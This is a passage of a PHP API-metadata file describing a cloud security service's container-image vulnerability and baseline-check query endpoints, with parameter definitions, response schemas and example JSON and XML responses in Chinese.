'Name' => [ + 'description' => '软件包的名称。'."\n", + 'type' => 'string', + 'example' => 'libseccomp2', + ], + 'UpdateCmd' => [ + 'description' => '漏洞的修复命令。'."\n", + 'type' => 'string', + 'example' => 'apt-get update && apt-get install libseccomp2 --only-upgrade', + ], + ], + ], + ], + ], + ], + 'CanFix' => [ + 'description' => '是否可控制台修复。取值：'."\n" + ."\n" + .'- **yes**：可修复'."\n" + .'- **no**：不可修复', + 'type' => 'string', + 'example' => 'yes', + ], + 'ClusterId' => [ + 'description' => '集群编号。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'c08d5fc1a329a4b88950a253d082f1****'."\n", + ], + 'ClusterName' => [ + 'description' => '集群名称。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'docker-law'."\n", + ], + 'Pod' => [ + 'description' => '容器组。'."\n" + ."\n", + 'type' => 'string', + 'example' => '22222-7xsqq'."\n", + ], + 'Namespace' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'test-002'."\n", + ], + 'Image' => [ + 'description' => '镜像名称。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****'."\n", + ], + 'ContainerId' => [ + 'description' => '容器编号。'."\n" + ."\n", + 'type' => 'string', + 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '172.19.XX.XX', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'testInstance', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => 'm-bp17m0pc0xprzbwo****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'source-test-obj-XM0Ma', + ], + 'MaliciousSource' => [ + 'description' => '恶意文件来源。取值：'."\n" + ."\n" + .'- **agentless**：无代理检测'."\n" + .'- **image**：镜像'."\n" + .'- **container**：容器', + 'type' => 'string', + 'example' => 'agentless', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- **ECS_IMAGE**：镜像。'."\n" + .'- **ECS_SNAPSHOT**：快照', + 'type' => 'string', + 'example' => 'ECS_IMAGE', + ], + 'ScanTime' => [ + 'description' => '扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + 'RuleTag' => [ + 'description' => '漏洞标签，取值：'."\n" + ."\n" + .' - **AI**： AI组件相关漏洞', + 'type' => 'string', + 'example' => 'AI', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"VulRecords\\": [\\n {\\n \\"CanUpdate\\": true,\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": 1,\\n \\"ModifyTs\\": 1580808765000,\\n \\"ImageDigest\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012\\",\\n \\"PrimaryId\\": 782661,\\n \\"Tag\\": \\"oval\\",\\n \\"RepoNamespace\\": \\"default\\",\\n \\"RepoName\\": \\"varnish\\",\\n \\"Related\\": \\"CVE-2019-9893\\",\\n \\"FirstTs\\": 1620752053000,\\n \\"LastTs\\": 1631779996000,\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"0004a32a0305a7f6ab5ff9600d47****\\",\\n \\"AliasName\\": \\"CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read\\",\\n \\"Name\\": \\"debian:10:CVE-2019-9893\\",\\n \\"Layers\\": [\\n \\"[\\\\\\"null\\\\\\"]\\"\\n ],\\n \\"ExtendContentJson\\": {\\n \\"OsRelease\\": \\"10.9\\",\\n \\"Os\\": \\"debian\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"MatchList\\": [\\n \\"[\\\\\\"libstdc++ version less than 8.5.0-4.el8_5\\\\\\"]\\"\\n ],\\n \\"Layer\\": \\"b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587\\",\\n \\"FullVersion\\": \\"2.3.3-4\\",\\n \\"Version\\": \\"2.3.3-4\\",\\n \\"MatchDetail\\": \\"libseccomp2 version less than equals 2.3.3-4\\",\\n \\"Path\\": \\"/usr/lib64/libssh2.so.1\\",\\n \\"Name\\": \\"libseccomp2\\",\\n \\"UpdateCmd\\": \\"apt-get update && apt-get install libseccomp2 --only-upgrade\\"\\n }\\n ]\\n },\\n \\"CanFix\\": \\"yes\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\\\n\\",\\n \\"ClusterName\\": \\"docker-law\\\\n\\",\\n \\"Pod\\": \\"22222-7xsqq\\\\n\\",\\n \\"Namespace\\": \\"test-002\\\\n\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\\\n\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"source-test-obj-XM0Ma\\",\\n \\"MaliciousSource\\": \\"agentless\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"ScanTime\\": 1649814050000,\\n \\"RuleTag\\": \\"AI\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB\\n 10\\n 1\\n \\n true\\n cve\\n 1\\n 1580808765000\\n 8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012\\n 782661\\n oval\\n default\\n varnish\\n CVE-2019-9893\\n 1620752053000\\n 1631779996000\\n asap\\n 0004a32a0305a7f6ab5ff9600d47****\\n DSA-2019 libseccomp 安全漏洞\\n debian:10:CVE-2019-9893\\n [\\"null\\"]\\n \\n 10.9\\n debian\\n \\n [\\"libstdc++ version less than 8.5.0-4.el8_5\\"]\\n b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587\\n 2.3.3-4\\n 2.3.3-4\\n libseccomp2 version less than equals 2.3.3-4\\n /usr/lib64/libssh2.so.1\\n libseccomp2\\n apt-get update && apt-get install libseccomp2 --only-upgrade\\n \\n \\n \\n","errorExample":""}]', + 'title' => '查看容器镜像漏洞列表', + 'description' => '如果您需要查看最新的容器镜像漏洞信息，您可以先调用[PublicCreateImageScanTask](~~PublicCreateImageScanTask~~)接口创建镜像扫描任务，等待1~5分钟后，再调用当前接口查看容器镜像漏洞列表。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeImageGroupedVulList' => [ + 'summary' => '查询镜像漏洞列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的类型。取值：'."\n" + .'- **cve**：镜像系统漏洞'."\n" + .'- **sca**：镜像应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产分组ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1311', + ], + ], + [ + 'name' => 'CveId', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的CVE编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2017-15420', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的唯一标识ID列表，多个ID用英文逗号（,）分隔。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'uuid-13134124****', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'debian:10:CVE-2019-9893', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的别名。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'High severity vulnerability that affects org.eclipse.jetty:jetty-server', + ], + ], + [ + 'name' => 'PatchId', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞补丁的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1341512412', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞修复的必要性等级。取值：'."\n" + .'- **asap**：需尽快修复（通常是高危漏洞）'."\n" + .'- **later**：可延后修复（通常是中危漏洞）'."\n" + .'- **nntf**：暂可不修复（通常是低危漏洞）'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'asap', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的镜像漏洞的数量。默认值为**20**，表示每页显示20条镜像漏洞。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-qewqrqcsadf****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'qew****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的名称。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的标签。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'oval', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要的SHA256值。', + 'type' => 'string', + 'required' => false, + 'example' => 'w213412341dfsfasdfafadfasfasf', + ], + ], + [ + 'name' => 'ImageLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的层级。', + 'type' => 'string', + 'required' => false, + 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'IsLatest', + 'in' => 'query', + 'schema' => [ + 'description' => '是否要查询最新镜像的漏洞，不设置该参数表示查询所有镜像的漏洞。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c60b77fe62093480db6164a3c2fa5****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。'."\n" + ."\n", + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'RuleTag', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞标签，取值：'."\n" + ."\n" + .' - **AI**： AI组件相关漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'AI', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '5E244439-UJND-8BF7-26F36E21B9AA', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的镜像漏洞的数量。默认值为**20**，表示每页显示20条镜像漏洞数据。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '镜像系统漏洞的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '21', + ], + 'GroupedVulItems' => [ + 'description' => '镜像漏洞的漏洞列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '漏洞处理的状态。取值：'."\n" + ."\n" + .'- **0**：未处理'."\n" + .'- **1**：已处理'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已加白', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Type' => [ + 'description' => '要查询的漏洞的类型。取值：'."\n" + .'- **cve**：镜像系统漏洞'."\n" + .'- **sca**：镜像应用漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'NntfCount' => [ + 'description' => '低危漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'GmtLast' => [ + 'description' => '首次扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1611201274000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1611201274000', + ], + 'Tags' => [ + 'description' => '漏洞的标签。取值：'."\n" + ."\n" + .''."\n" + .'- 需要重启'."\n" + .'- 远程利用'."\n" + .'- 存在EXP'."\n" + .'- 可被利用'."\n" + .'- 本地提权'."\n" + .'- 代码执行'."\n" + .''."\n" + ."\n" + .''."\n" + .'- Restart required'."\n" + .'- Remote utilization'."\n" + .'- EXP exists'."\n" + .'- Available'."\n" + .'- Elevation of Privilege'."\n" + .'- Code Execution'."\n" + .''."\n", + 'type' => 'string', + 'example' => 'EXP exists', + ], + 'LaterCount' => [ + 'description' => '中危漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '26', + ], + 'AliasName' => [ + 'description' => '漏洞的别名。'."\n", + 'type' => 'string', + 'example' => 'RHSA-2017:3075-Important: wget security update', + ], + 'Name' => [ + 'description' => '漏洞的名称。', + 'type' => 'string', + 'example' => 'debian:9:CVE-2019-3858', + ], + 'AsapCount' => [ + 'description' => '高危漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '26', + ], + 'CanFix' => [ + 'description' => '是否可支持修复。取值：'."\n" + .'- **yes**：支持修复'."\n" + .'- **no**： 不支持修复', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'yes', + ], + 'RuleTag' => [ + 'description' => '漏洞标签，取值：'."\n" + ."\n" + .' - **AI**： AI组件相关漏洞', + 'type' => 'string', + 'example' => 'AI', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 2,\\n \\"RequestId\\": \\"5E244439-UJND-8BF7-26F36E21B9AA\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 21,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Status\\": 0,\\n \\"Type\\": \\"cve\\",\\n \\"NntfCount\\": 29,\\n \\"GmtLast\\": 1611201274000,\\n \\"LastScanTime\\": 1611201274000,\\n \\"Tags\\": \\"EXP exists\\",\\n \\"LaterCount\\": 26,\\n \\"AliasName\\": \\"RHSA-2017:3075-Important: wget security update\\",\\n \\"Name\\": \\"debian:9:CVE-2019-3858\\",\\n \\"AsapCount\\": 26,\\n \\"CanFix\\": \\"yes\\",\\n \\"RuleTag\\": \\"AI\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2\\n 5E244439-UJND-8BF7-26F36E21B9AA\\n 20\\n 21\\n \\n 0\\n cve\\n 29\\n 1611201274000\\n 1611201274000\\n 代码执行\\n 26\\n DLA-1730-1: libssh2 LTS 安全更新\\n debian:9:CVE-2019-3858\\n 26\\n \\n","errorExample":""}]', + 'title' => '查询镜像漏洞信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeImageListWithBaselineName' => [ + 'summary' => '查看镜像基线检查结果的详情列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92110', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BaselineNameKey', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像检查基线结果的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'ak_leak', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => 'Unauthorized access', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的查询类型。取值：'."\n" + ."\n" + .'- **BaselineNameAlias**：基线名称'."\n" + .'- **BaselineClassAlias**：基线分类', + 'type' => 'string', + 'required' => false, + 'example' => 'BaselineNameAlias', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-qewqrqcsadf****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要的SHA256值。', + 'type' => 'string', + 'required' => false, + 'example' => '2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的镜像基线检查结果详情的数量。默认值为**10**，表示每页显示10条镜像基线检查结果详情。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc20a1024011c44b6a8710d6f8b****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'ContainerId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'c08d5fc1a329a4b88950a253d082f****', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'docker-law', + ], + ], + [ + 'name' => 'Pod', + 'in' => 'query', + 'schema' => [ + 'description' => '容器组。', + 'type' => 'string', + 'required' => false, + 'example' => '22222-7xsqq', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-002', + ], + ], + [ + 'name' => 'Image', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F', + ], + 'PageInfo' => [ + 'description' => '分页查询时页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '设置分页查询时，每页显示的镜像基线检查结果的数量。默认值为**10**，表示每页显示10条镜像基线检查结果。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '镜像基线检查中，存在基线风险的镜像的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的存在基线风险的镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'ImageInfos' => [ + 'description' => '镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像基线检查结果的详情信息。', + 'type' => 'object', + 'properties' => [ + 'MiddleRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**中危**的镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskStatus' => [ + 'description' => '镜像是否存在安全风险。取值：'."\n" + ."\n" + .'- **YES**：存在风险'."\n" + .'- **NO**：不存在风险', + 'type' => 'string', + 'example' => 'YES', + ], + 'ImageCreate' => [ + 'description' => '镜像创建的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636962328000', + ], + 'Digest' => [ + 'description' => '镜像摘要的SHA256值。', + 'type' => 'string', + 'example' => '2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423', + ], + 'Tag' => [ + 'description' => '镜像的版本。', + 'type' => 'string', + 'example' => 'v1', + ], + 'ImageUpdate' => [ + 'description' => '镜像更新的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636974116000', + ], + 'InstanceId' => [ + 'description' => '镜像实例的ID。', + 'type' => 'string', + 'example' => 'cri-a595qp31knh9****', + ], + 'LowRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**低危**镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RepoType' => [ + 'description' => '镜像仓的类型。', + 'type' => 'string', + 'example' => 'PRIVATE', + ], + 'RegionId' => [ + 'description' => '镜像实例所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-beijing', + ], + 'Uuid' => [ + 'description' => '镜像的唯一标识。', + 'type' => 'string', + 'example' => 'f58681174f944623345379e23b7b****', + ], + 'ImageSize' => [ + 'description' => '镜像的大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '157408623', + ], + 'RepoId' => [ + 'description' => '镜像仓的ID。', + 'type' => 'string', + 'example' => 'crr-1lt6q7167yh6****', + ], + 'TotalItemCount' => [ + 'description' => '该镜像中存在的基线风险的风险项的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'HighRiskImage' => [ + 'description' => '存在基线风险问题的风险等级为**高危**镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NoRiskImage' => [ + 'description' => '不存在基线风险问题的镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageId' => [ + 'description' => '镜像的ID。', + 'type' => 'string', + 'example' => 'cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'example' => 'scanner', + ], + 'ClusterId' => [ + 'description' => '集群编号。', + 'type' => 'string', + 'example' => 'c08d5fc1a329a4b88950a253d082f1****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'docker-law', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'libssh2', + ], + 'Pod' => [ + 'description' => '容器组。', + 'type' => 'string', + 'example' => '22222-7xsqq', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'test-002', + ], + 'ContainerId' => [ + 'description' => '容器编号。', + 'type' => 'string', + 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****', + ], + 'Image' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'pre.mongo-196', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.96.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'spod', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => 'm-bp17m0pc0xprzbwo****', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- ** ECS_IMAGE**：镜像。'."\n" + .'- ** ECS_SNAPSHOT**：快照', + 'type' => 'string', + 'example' => 'ECS_IMAGE', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1\\n },\\n \\"ImageInfos\\": [\\n {\\n \\"MiddleRiskImage\\": 0,\\n \\"RiskStatus\\": \\"YES\\",\\n \\"ImageCreate\\": 1636962328000,\\n \\"Digest\\": \\"2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423\\",\\n 